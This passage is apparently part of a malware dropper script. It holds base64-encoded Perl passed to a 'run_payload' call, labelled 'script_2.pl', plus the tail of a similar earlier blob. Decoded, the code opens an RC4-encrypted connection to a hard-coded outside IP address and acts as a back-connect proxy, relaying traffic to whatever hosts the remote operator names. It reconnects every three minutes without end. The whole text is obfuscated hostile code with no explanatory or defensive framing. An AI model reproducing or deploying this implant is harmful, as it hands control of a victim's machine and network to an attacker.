sICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_2.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUxJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNC